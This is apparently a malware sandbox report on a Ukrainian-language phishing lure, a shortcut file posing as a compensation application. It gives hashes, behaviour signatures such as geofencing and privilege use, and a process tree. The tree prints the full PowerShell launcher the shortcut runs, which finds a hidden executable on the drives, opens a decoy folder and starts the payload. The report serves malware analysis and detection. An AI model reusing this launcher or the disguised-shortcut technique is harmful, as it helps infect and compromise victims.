Analysis
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max time kernel
111s -
max time network
147s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
21-09-2022 05:57
Static task
static1
Behavioral task
behavioral1
Sample
jfilyg7.exe
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
jfilyg7.exe
Resource
win10v2004-20220901-en
Behavioral task
behavioral3
Sample
ЗАЯВА-на-отримання-компенсації.lnk
Resource
win7-20220812-en
Behavioral task
behavioral4
Sample
ЗАЯВА-на-отримання-компенсації.lnk
Resource
win10v2004-20220812-en
Behavioral task
behavioral5
Sample
ЗАЯВА/3_ЗАЯВА-на-отримання-компенсації-додаткової-зниж.doc
Resource
win7-20220901-en
Behavioral task
behavioral6
Sample
ЗАЯВА/3_ЗАЯВА-на-отримання-компенсації-додаткової-зниж.doc
Resource
win10v2004-20220812-en
General
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Target
ЗАЯВА-на-отримання-компенсації.lnk
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Size
411KB
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MD5
c15aa00479cae0a8bae7c926d7fd8ba6
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SHA1
9c7c059e617380eb7bf5b5ae41b2874e2cf5111c
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SHA256
bc4cab14e4b378a7b98185367b4778f92eb4335faba1a4503f4cfb7aba8f13e7
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SHA512
79067ef1afbd879b3ab011354a626e567ebf463fd60f4c5d82c7332906fa4e6c9e85e8d33926cf7c2ed037a7b7eee92a4ce17020450442443740286efa4b2e72
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SSDEEP
24:8y+wj/erlZygbDhw+svWP2+sv30PvcNnCsCcOrAI+/1:8m/6lZWnrPccCssAI
Malware Config
Signatures
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
cmd.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 4956 powershell.exe 4956 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 4956 powershell.exe -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
cmd.exepowershell.exedescription pid process target process PID 2492 wrote to memory of 4956 2492 cmd.exe powershell.exe PID 2492 wrote to memory of 4956 2492 cmd.exe powershell.exe PID 2492 wrote to memory of 4956 2492 cmd.exe powershell.exe PID 4956 wrote to memory of 5032 4956 powershell.exe findstr.exe PID 4956 wrote to memory of 5032 4956 powershell.exe findstr.exe PID 4956 wrote to memory of 5032 4956 powershell.exe findstr.exe PID 4956 wrote to memory of 2252 4956 powershell.exe findstr.exe PID 4956 wrote to memory of 2252 4956 powershell.exe findstr.exe PID 4956 wrote to memory of 2252 4956 powershell.exe findstr.exe PID 4956 wrote to memory of 4740 4956 powershell.exe findstr.exe PID 4956 wrote to memory of 4740 4956 powershell.exe findstr.exe PID 4956 wrote to memory of 4740 4956 powershell.exe findstr.exe
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\ЗАЯВА-на-отримання-компенсації.lnkChecks computer location settingsSuspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Command $f = 'jfilyg7';Foreach($d in Get-PSDrive|ForEach-Object{$PSItem.Root} | findstr ':\') {$w=gci -hidden $d | findstr $f;if($w.Contains($f)){break}};ii $d'ЗАЯВА';start($d+$f)Suspicious behavior: EnumeratesProcessesSuspicious use of AdjustPrivilegeTokenSuspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\findstr.exe"C:\Windows\system32\findstr.exe" :\
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C:\Windows\SysWOW64\findstr.exe"C:\Windows\system32\findstr.exe" jfilyg7
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C:\Windows\SysWOW64\findstr.exe"C:\Windows\system32\findstr.exe" jfilyg7
Network
MITRE ATT&CK Matrix
Collection
Command and Control
Credential Access
Defense Evasion
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Replay Monitor
Downloads
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memory/2252-146-0x0000000000000000-mapping.dmp
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memory/4740-147-0x0000000000000000-mapping.dmp
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memory/4956-140-0x0000000006E50000-0x0000000006E6A000-memory.dmpFilesize
104KB
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memory/4956-141-0x0000000006EC0000-0x0000000006EE2000-memory.dmpFilesize
136KB
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memory/4956-136-0x0000000005080000-0x00000000050E6000-memory.dmpFilesize
408KB
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memory/4956-137-0x0000000005100000-0x0000000005166000-memory.dmpFilesize
408KB
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memory/4956-138-0x0000000005DA0000-0x0000000005DBE000-memory.dmpFilesize
120KB
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memory/4956-139-0x0000000006F30000-0x0000000006FC6000-memory.dmpFilesize
600KB
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memory/4956-132-0x0000000000000000-mapping.dmp
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memory/4956-135-0x0000000004EE0000-0x0000000004F02000-memory.dmpFilesize
136KB
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memory/4956-142-0x0000000007600000-0x0000000007BA4000-memory.dmpFilesize
5MB
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memory/4956-143-0x00000000070A0000-0x00000000070EA000-memory.dmpFilesize
296KB
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memory/4956-133-0x0000000004A20000-0x0000000004A56000-memory.dmpFilesize
216KB
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memory/4956-145-0x0000000008230000-0x00000000088AA000-memory.dmpFilesize
6MB
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memory/4956-134-0x0000000005170000-0x0000000005798000-memory.dmpFilesize
6MB
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memory/5032-144-0x0000000000000000-mapping.dmp